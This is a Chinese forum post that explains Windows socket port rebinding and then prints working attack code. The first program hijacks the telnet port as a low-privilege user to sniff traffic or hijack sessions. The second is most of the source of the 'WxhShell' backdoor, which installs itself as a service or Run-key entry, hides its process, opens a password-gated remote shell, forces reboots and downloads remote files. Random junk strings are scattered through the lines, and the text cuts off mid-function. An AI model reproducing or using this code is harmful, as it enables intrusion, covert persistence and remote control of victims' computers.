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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w|&,I4["  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vAi"$e  
NV:>a  
  saddr.sin_family = AF_INET; Mx^y>\X)v  
kX igX-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b+W)2rFO  
XlRw Z/Wc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0o;k?4aP.c  
]9fS@SHdx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~q{\;  
1W*V2`0>  
  这意味着什么?意味着可以进行如下的攻击: SxMxe,.|  
 W|lH   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o(:{InpV%A  
!{ $qMhT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )y6QAp  
:}^Rs9 '  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,(6)ghr  
dI!8S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {":c@I  
+IvNyj|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6@&fvf  
n.@#rBKZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aZP 2R"  
z|uOJ0uK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3 *G5F}7%=  
{!lNL[x  
  #include Cm^Yl p  
  #include 2>g^4(  
  #include 7@JjjV  
  #include    vxb@9 eb!H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ol50d73B  
  int main() : -E,   
  { B@d1xjp)']  
  WORD wVersionRequested; SK?I.  
  DWORD ret; *K`x;r  
  WSADATA wsaData; iM8sX B  
  BOOL val; Hyf"iYv+  
  SOCKADDR_IN saddr; {JXf*IJ  
  SOCKADDR_IN scaddr; J l\'V  
  int err; 1^S'sWwe  
  SOCKET s; l@xWQj9  
  SOCKET sc; =`JW1dM  
  int caddsize; 'gYg~=  
  HANDLE mt; z23#G>I&  
  DWORD tid;   OH>r[,z0  
  wVersionRequested = MAKEWORD( 2, 2 ); l/[pEUYU  
  err = WSAStartup( wVersionRequested, &wsaData ); nkTYWw  
  if ( err != 0 ) { )u<eO FI+  
  printf("error!WSAStartup failed!\n"); C B6A}m  
  return -1; nMkOUW:T!  
  } { yTpRQN~  
  saddr.sin_family = AF_INET; ~)_K"h.DY  
   2.ew^D#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Pc(DfkS  
3+ e4e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5PDSA*  
  saddr.sin_port = htons(23); sp^Wo7&g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -ovoRI^6`}  
  { |4 Qx=x>  
  printf("error!socket failed!\n"); p:Oz<P  
  return -1; -'j7SOGk  
  } hzv3F9.x  
  val = TRUE; N0nj`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0JK2%%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +N7"EROc  
  { w\Iqzpikr  
  printf("error!setsockopt failed!\n"); vf[&7n  
  return -1;  ![ a  
  } dIvy!d2l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pp<E))&R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o OQ'*7_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ewpig4  
vmLpm xS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fa4=h;>a+  
  { /p,{?~0mj  
  ret=GetLastError(); ,%kmXh  
  printf("error!bind failed!\n"); ]W;:|/,c  
  return -1; zz&vfO31J  
  } =PZWS& (L  
  listen(s,2); pcnl0o~  
  while(1) oXdel Ju?  
  { =MxpH+spI  
  caddsize = sizeof(scaddr); vTHq)C.7G  
  //接受连接请求 "-P/jk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f}2;N  
  if(sc!=INVALID_SOCKET) 3-iD.IAUm@  
  { IytDvz*|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XC2FF&B&  
  if(mt==NULL) ,m:L2 -J@  
  { Ch t%uzb,  
  printf("Thread Creat Failed!\n"); Cs#w72N  
  break; JYQ.EAsr!  
  } "H$@b`)  
  } \ADLMj`F|  
  CloseHandle(mt); L:pUvcAc?  
  } $~G@   
  closesocket(s); ; h85=l<8u  
  WSACleanup(); 'AWp6L@  
  return 0; F5U|9<  
  }   sBU_Ft  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wxn#Rk#>  
  { JCD?qeTg  
  SOCKET ss = (SOCKET)lpParam; $it@>L8  
  SOCKET sc; !9D1 Fa  
  unsigned char buf[4096]; x9&p!&*&IT  
  SOCKADDR_IN saddr; >azEed<B  
  long num; 6} #"qqnx  
  DWORD val; I|T7+{5z  
  DWORD ret; l!:^6i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cJ2PI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jM@?<1  
  saddr.sin_family = AF_INET; V'I T1~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !3V{2-y$-  
  saddr.sin_port = htons(23); l|q%%W0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7h`^N5H.q  
  { :v)6gz(p  
  printf("error!socket failed!\n"); L#2ZMy  
  return -1; Bzw19S6y  
  } {[P!$ /  
  val = 100; b]i>Bv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vY_eDJ~'  
  { K"w%n[u)  
  ret = GetLastError(); -?z\5 z  
  return -1; @$c!/  
  } @Z q[e   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N 2Ssf$  
  { >Nh`rkR2[  
  ret = GetLastError(); Mg\TH./Y:  
  return -1; *VDVC0R  
  } iZ "y7s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V&iS~V0.  
  { {m[Wyb(  
  printf("error!socket connect failed!\n"); n}q$f|4!  
  closesocket(sc); AG>\aV"b  
  closesocket(ss); uY]0dyI  
  return -1; |'$ l7  
  } ?oKL &I@  
  while(1) R5kH0{zM  
  { Y{+3}drJE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9`Vc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :j,}{)5=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $DE&J4K  
  num = recv(ss,buf,4096,0); Y[um|M315  
  if(num>0) `{o$F ::(  
  send(sc,buf,num,0); RG}}Oh="v  
  else if(num==0) ``4?a7!!  
  break; 4.w"(v9V  
  num = recv(sc,buf,4096,0); V;;#/$oU:4  
  if(num>0) N}mh}  
  send(ss,buf,num,0); w & P&7  
  else if(num==0) ]\dHU.i  
  break; NzlAC  
  } Ao"C<.gUYP  
  closesocket(ss); 2y%R:Mu  
  closesocket(sc); ]r959+\$  
  return 0 ; 8UM0vNk  
  } n NQ-"t  
6|#g+&[  
) EXJ   
========================================================== ]0-<>  
4Jykos2  
下边附上一个代码,,WXhSHELL QNg\4%  
 KGT3|)QN  
========================================================== `eD1|Go9  
T8Na]V5  
#include "stdafx.h" 6$RpV'xz  
&F6C  
#include <stdio.h> u"Y]P*[k  
#include <string.h> 0OWL  
#include <windows.h> [K:29N9~4  
#include <winsock2.h>  =:~(m  
#include <winsvc.h> CXAVGO'xw  
#include <urlmon.h> |}Ph"g2D,  
5g0_WpO  
#pragma comment (lib, "Ws2_32.lib") onnugj3  
#pragma comment (lib, "urlmon.lib") -_>.f(1  
t$I|E  
#define MAX_USER   100 // 最大客户端连接数 r?3Aqi"  
#define BUF_SOCK   200 // sock buffer Yqj+hC6>,  
#define KEY_BUFF   255 // 输入 buffer B9#;-QO  
,g|2NjUAc  
#define REBOOT     0   // 重启 i}lRIXjdV  
#define SHUTDOWN   1   // 关机 0*yJ %  
[h-norB((  
#define DEF_PORT   5000 // 监听端口 kEP<[K  
(p,}'I#i*  
#define REG_LEN     16   // 注册表键长度 #pA[k -  
#define SVC_LEN     80   // NT服务名长度 #>[wD#XJV  
 zy>}L #  
// 从dll定义API C}Qt "-%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (STx$cya  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AC4 l<:Yh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x~+-VF3/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mi^hvks<  
S^j,f'2  
// wxhshell配置信息 (U9a@ 1  
struct WSCFG { s|2}2<+  
  int ws_port;         // 监听端口 1exfCm  
  char ws_passstr[REG_LEN]; // 口令 0>@[o8  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y /lN@  
  char ws_regname[REG_LEN]; // 注册表键名 c-*2dV[@  
  char ws_svcname[REG_LEN]; // 服务名 6+PGwCS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (h,Ws-O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vr4S9`,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ue7 6py9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ac\W\=QvB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <|H ?gfM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m UgRm]  
OKPJuV`y6  
}; _tWE8 r,  
GV6mzD@ <  
// default Wxhshell configuration HJ@5B"  
struct WSCFG wscfg={DEF_PORT, m =k%,J_  
    "xuhuanlingzhe", v3-?CQb(  
    1, I%xn,u  
    "Wxhshell", \_U*t!  
    "Wxhshell", &t_h'JX&  
            "WxhShell Service", <[hz?:G"$  
    "Wrsky Windows CmdShell Service", o^GC=Aca`  
    "Please Input Your Password: ", 1JeJxzv>C  
  1, #{,h@g}W  
  "http://www.wrsky.com/wxhshell.exe", KY+]RxX  
  "Wxhshell.exe" L_?$ayZ;  
    }; %g w{[ /[A  
g^j7@dum  
// 消息定义模块 6mHhC?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a D|Yo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HcO5?{2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aYVDp{_  
char *msg_ws_ext="\n\rExit."; eqhAus?)  
char *msg_ws_end="\n\rQuit."; o](.368+4  
char *msg_ws_boot="\n\rReboot..."; ps+:</;Z  
char *msg_ws_poff="\n\rShutdown..."; )4uq iA6  
char *msg_ws_down="\n\rSave to "; JIV8q HC  
XKSX#cia  
char *msg_ws_err="\n\rErr!"; 9p*-?kPb  
char *msg_ws_ok="\n\rOK!"; xR}of"  
'vlrc[|/  
char ExeFile[MAX_PATH]; q[c Etp28h  
int nUser = 0; 5-w:c>  
HANDLE handles[MAX_USER]; 9h&yuS'Yj  
int OsIsNt; NvHN -^2  
A.U'Q|  
SERVICE_STATUS       serviceStatus; fU ={a2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bn-=fb(  
sTOFw;v%  
// 函数声明 CQ>]jQ,2  
int Install(void); 4B$bj `h  
int Uninstall(void); WG%2<Q^  
int DownloadFile(char *sURL, SOCKET wsh); B.K4!/cF  
int Boot(int flag); 3;Hd2 ;G  
void HideProc(void); g1V)$s 7  
int GetOsVer(void); s0!kwrBsp  
int Wxhshell(SOCKET wsl); SqqDV)Uih1  
void TalkWithClient(void *cs); J]\^QMX  
int CmdShell(SOCKET sock); f3n~{a,[  
int StartFromService(void); u[EK#%  
int StartWxhshell(LPSTR lpCmdLine); yjpz_<7a=  
f_'"KF[%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -tyaE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r*Z_+a8  
>76 |:Nq  
// 数据结构和表定义 <Uwwux<v  
SERVICE_TABLE_ENTRY DispatchTable[] = U>A6eWhH  
{ TQ-KkH}y  
{wscfg.ws_svcname, NTServiceMain}, jL_5]pzJ  
{NULL, NULL} a}yR p  
}; VDn:SGj5  
FmI;lVF0j  
// 自我安装 <kbnu7?a*  
int Install(void) tJm{I)G  
{  MYx88y  
  char svExeFile[MAX_PATH]; f{_)rsqf  
  HKEY key; tN!Bvj:C[M  
  strcpy(svExeFile,ExeFile); }`]]b+_b>@  
#Fzb8Yo  
// 如果是win9x系统,修改注册表设为自启动 1eiw3WU;  
if(!OsIsNt) { "tX7%(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h2;l1 G,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~`[8"YUL  
  RegCloseKey(key); vJThU$s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8A4TAT4,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3#mE( `|P  
  RegCloseKey(key); 24X=5Aj  
  return 0; XtzOFx/  
    } yHOqzq56  
  } -TZ^~s  
} Pz1G<eh#{g  
else { mu>] 9ZW  
A]xCF{*)&  
// 如果是NT以上系统,安装为系统服务 . s-5N\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xB,/dMdTj  
if (schSCManager!=0) +7Rt{C,  
{ iAHZ0Du  
  SC_HANDLE schService = CreateService 8]]@S"ZM,\  
  ( 5Pqt_ZWy  
  schSCManager, O! (85rp/  
  wscfg.ws_svcname, JZw^ W{  
  wscfg.ws_svcdisp, Gh iHA9.  
  SERVICE_ALL_ACCESS, nX 8B;*p6b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0%H24N 9.  
  SERVICE_AUTO_START, }VZM,.w  
  SERVICE_ERROR_NORMAL, 6 >uQt:e  
  svExeFile, 453 }S  
  NULL, kQ[Jo%YT?E  
  NULL, |Eu*P  
  NULL, mtX31 M4  
  NULL, Gw`/.0  
  NULL tvCcyD%w  
  ); -R8/`M8GbD  
  if (schService!=0) >uW^.e "F  
  { -#OwJ*-U  
  CloseServiceHandle(schService); 9C=~1>S  
  CloseServiceHandle(schSCManager); b~9`]+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B,MQ.|s[  
  strcat(svExeFile,wscfg.ws_svcname); fFHK:n`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ydyG}XI7V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c dDY]"k  
  RegCloseKey(key); 4v>o%  
  return 0; 1 yJ75/  
    } 5Kee2s?*  
  } &t_A0z  
  CloseServiceHandle(schSCManager); G g(NGT  
} yZ|+VXO  
} R` 44'y|  
$$\V 2%v  
return 1; ;Rs.rl>;t/  
} X&.:H~xS+  
Nuo^+z E   
// 自我卸载 ~W3:xnBEk  
int Uninstall(void) Eo Ko   
{ LS{bg.e  
  HKEY key; 1]Lhk?4t  
BPh".RJ  
if(!OsIsNt) { HM 90Sb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~;!BDLMC6  
  RegDeleteValue(key,wscfg.ws_regname); V07VwVD  
  RegCloseKey(key); @"0uM?_)-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #)FDl70S8  
  RegDeleteValue(key,wscfg.ws_regname); .Nk}Z9L]k  
  RegCloseKey(key); Ej{+U  
  return 0; J ZA*{n2  
  } e|JIrOnc  
} e) ]RA?bF  
} pbPz$Y  
else { [0wP\{%  
blUY.{NN3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l\_x(BH  
if (schSCManager!=0) "A]?M<R  
{ o:H'r7N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 >'66gZ  
  if (schService!=0) 3hH>U%`-  
  { hcQSB00D^  
  if(DeleteService(schService)!=0) { D(!;V KH  
  CloseServiceHandle(schService); O%52V|m}{  
  CloseServiceHandle(schSCManager); *^uGvJXF  
  return 0; :Jm!=U%'Z  
  } ^]i" H|(x  
  CloseServiceHandle(schService); ?P%|P   
  } <o ~t$TH  
  CloseServiceHandle(schSCManager); &{BBxv)y  
} ?THa5%8f  
} J}:&eS  
ed=n``P~}  
return 1; #jOOsfH|k  
} dV)Y,Yx0${  
X=JFWzC  
// 从指定url下载文件 WFRsSp2  
int DownloadFile(char *sURL, SOCKET wsh) ~m!#FTc*  
{ :MK:TJV  
  HRESULT hr; R9Ldl97'  
char seps[]= "/"; #t){4J  
char *token; )y(oHRCp->  
char *file; xna7kA  
char myURL[MAX_PATH]; ^)Smv\Md  
char myFILE[MAX_PATH]; 1>hb-OMX  
hH#lTye  
strcpy(myURL,sURL); JaA&eT|  
  token=strtok(myURL,seps); `(P "u  
  while(token!=NULL) W8< @sq~I  
  { .#"1bRWpZ  
    file=token; mZ]P[lQ'5  
  token=strtok(NULL,seps); ?n2C  
  } *3 !(*F@M,  
X {#bJ  
GetCurrentDirectory(MAX_PATH,myFILE); (Z5q&#f  
strcat(myFILE, "\\"); MST:.x ;  
strcat(myFILE, file); h|K\z{ A  
  send(wsh,myFILE,strlen(myFILE),0); vz- 9<w;>a  
send(wsh,"...",3,0); yq1Gqbh l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qI(W$  
  if(hr==S_OK) *+NGi(N  
return 0; aXQ&@BZ {j  
else AbL5 !'  
return 1; m\_+)eI|  
7F"3<U@J  
} 3(MoXA*  
>ze>Xr'm5=  
// 系统电源模块 BHEs+ e0  
int Boot(int flag) 4A;[s m^f  
{ dUI3erO  
  HANDLE hToken; Rk}\)r\  
  TOKEN_PRIVILEGES tkp; iKohuZr  
]U_5\$  
  if(OsIsNt) { p 7 , f6kG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3gC\{y!8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XAw2X;F%  
    tkp.PrivilegeCount = 1; >s;oOo+5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; th5 X?so  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2r %>]y  
if(flag==REBOOT) { 9 aY'0wa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?$UH9T9)  
  return 0; Qk?jGXB>^  
} I).=v{@9V<  
else { &,^mM' C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u wH)$Pl  
  return 0; >Kz_My9  
} ,jAx%]@,I  
  } yb[{aL^4%  
  else { SCgyp(  
if(flag==REBOOT) { _2NN 1/F5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,.~ W  
  return 0;  C/SapX  
} H0: iYHu  
else {  fn4=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5T~3$kuO  
  return 0; f+*J ue  
} 7bctx_W&6  
} x*NqA( r  
d-9uv|SJ  
return 1; kEp.0wL'  
} >.a+:   
<E D8"~_  
// win9x进程隐藏模块 O]c=Yyl  
void HideProc(void) h=uiC&B  
{ _cW_u?0X:  
GwTT+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^`l"'6  
  if ( hKernel != NULL ) { z-5GH|  
  { l\q*%'Pe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s@[C&v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f 1sy9nQs  
    FreeLibrary(hKernel); sjkWz2]S  
  } C4&U:y<ju  
8:Z@lp^  
return; KC&H*  
} SNQz8(O  
59&T/  
// 获取操作系统版本 Ah6wU|_-g  
int GetOsVer(void) s/r5,IFR  
{ ;b, -$A  
  OSVERSIONINFO winfo; ZC3tbhV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <m?GJuQ'  
  GetVersionEx(&winfo); *LY~l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L!CX &  
  return 1; hB|H9+  
  else (%``EIc<8  
  return 0; h$E\2lsE  
} aK8bKlZe  
Mfnlue](  
// 客户端句柄模块 ^VSt9 &  
int Wxhshell(SOCKET wsl) yw;ghP;  
{ UN cYu9[  
  SOCKET wsh; xI=}z  
  struct sockaddr_in client; AZh@t?)  
  DWORD myID; utYnaeQcn  
P5'iYahCq_  
  while(nUser<MAX_USER) 6Cz7A  
{ t/l!KdY$  
  int nSize=sizeof(client); FY 1},sq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ioE66-n  
  if(wsh==INVALID_SOCKET) return 1; <'PR;g^#  
v7s ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XNc"kp? z  
if(handles[nUser]==0) A[sM{i~Z  
  closesocket(wsh); d$2@,  
else [VY8?y  
  nUser++; &/b? I `  
  } tIz<+T_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ig2{lEkF  
R`0foSq \M  
  return 0; 8zP:*|D  
} AzLbD2Pl  
N?MJ#lC F  
// 关闭 socket tIn7(C  
void CloseIt(SOCKET wsh) }-REBrb-  
{ r;&]?9)W0  
closesocket(wsh); -mev%lV  
nUser--; c!'A)JD@  
ExitThread(0); Ze [g0"  
} Y9IJ   
Cm,*bgX  
// 客户端请求句柄 @<@R=aqE  
void TalkWithClient(void *cs) %8}WX@SB  
{ S5:"_U  
|<|28~#  
  SOCKET wsh=(SOCKET)cs; n/9 LRZD|w  
  char pwd[SVC_LEN]; ^l]]qdNr  
  char cmd[KEY_BUFF]; =:xV(GK}  
char chr[1]; ]FY?_DGOA  
int i,j; jI*}y[o  
QLn5#x~xb  
  while (nUser < MAX_USER) { KuIt[oM  
5 {T9*  
if(wscfg.ws_passstr) { EIq{C-(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ze$^UR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SQO>}#qm  
  //ZeroMemory(pwd,KEY_BUFF); iQ]T+}nn_  
      i=0; <Um1h:^   
  while(i<SVC_LEN) { fP^W"y  
,wwU` U  
  // 设置超时 ..P=D <'f  
  fd_set FdRead; Zd[y+$>  
  struct timeval TimeOut; 2.fyP"P L  
  FD_ZERO(&FdRead); TIK/%T  
  FD_SET(wsh,&FdRead); A%NK0j$;}  
  TimeOut.tv_sec=8; 1M%{Uqsd-  
  TimeOut.tv_usec=0; G"T;l"TAt8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,\sR;=svK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?/`C~e<J  
R`Ys;g/!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <;$Sa's,LE  
  pwd=chr[0]; :wv :#EaH  
  if(chr[0]==0xd || chr[0]==0xa) { _1w.B8Lyz@  
  pwd=0; D-TNFYYy2  
  break; 1=9qAp;?o  
  } r+{!@`dYi  
  i++; E"9/YWv  
    } ugIm:bg&  
38x[Ad4%  
  // 如果是非法用户,关闭 socket ^D ]7pe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~>}dse  
} \j2 : 6]Hm  
ct2_N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "v\ bMuS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xWenKY,  
}AMYU>YE=  
while(1) { %8Z|/LGg  
|: 7EJkKZ  
  ZeroMemory(cmd,KEY_BUFF); FT*yso:X/  
6SW|H"!!  
      // 自动支持客户端 telnet标准   ND9 n1WZ&x  
  j=0; u):%5F/  
  while(j<KEY_BUFF) { CI~hmL0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wS F!Xx0  
  cmd[j]=chr[0]; #K<=xP  
  if(chr[0]==0xa || chr[0]==0xd) { uZqu xu.  
  cmd[j]=0; z. _C*c  
  break; ?{@!!te@3v  
  } i#@v_^q  
  j++; gqO%^b)6  
    } vc>^.#7   
??$i*  
  // 下载文件 BRo R"#'  
  if(strstr(cmd,"http://")) { eLDL  "L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a>)_ `m  
  if(DownloadFile(cmd,wsh)) W G3mQ\k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dN$D6*  
  else 3&a*]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .  T6_N  
  } F'?5V0\he  
  else { @ }zS/LO  
@,y FY  
    switch(cmd[0]) { D*d 3w  
  GM9]>"#o\  
  // 帮助 +hgaBJy  
  case '?': { ?FY@fO?es  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bOd sMlJkN  
    break; 3I U$  
  } yO$r'9?,*  
  // 安装 VuO)  
  case 'i': { HonAK  
    if(Install()) "EOk^1,y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eSvc/CU  
    else ;4S [ba1/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?v)"%.  
    break; $X.'W\o|  
    } (zM+7tJH  
  // 卸载 %~B)~|h  
  case 'r': { \0*yxSg,^  
    if(Uninstall()) >PTu*6Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  eo<~1w  
    else `F- Dd4B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *FLTz(T  
    break; 5Re`D|8  
    } R uFu,H-  
  // 显示 wxhshell 所在路径 eBYaq!t k  
  case 'p': { ^)C$8:@  
    char svExeFile[MAX_PATH]; 654jS!  
    strcpy(svExeFile,"\n\r"); ; K)?:  
      strcat(svExeFile,ExeFile); m|#(gX|F  
        send(wsh,svExeFile,strlen(svExeFile),0); =B o4yN  
    break; 6&OonYsP  
    } uc"[qT(X  
  // 重启 H z < M  
  case 'b': { Skk3M?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VvM U)  
    if(Boot(REBOOT)) Tl/Dq(8JH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Lg{2hjj  
    else { P :7l#/x_  
    closesocket(wsh); ('o; M:  
    ExitThread(0); 6Ymo%OT  
    } V)?x*R*T)  
    break; #:ED 0</  
    } PE;0 jgsiI  
  // 关机 qI V`zZc  
  case 'd': { 6q  xUT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z5o9\.y({  
    if(Boot(SHUTDOWN)) Fb<\(#t  
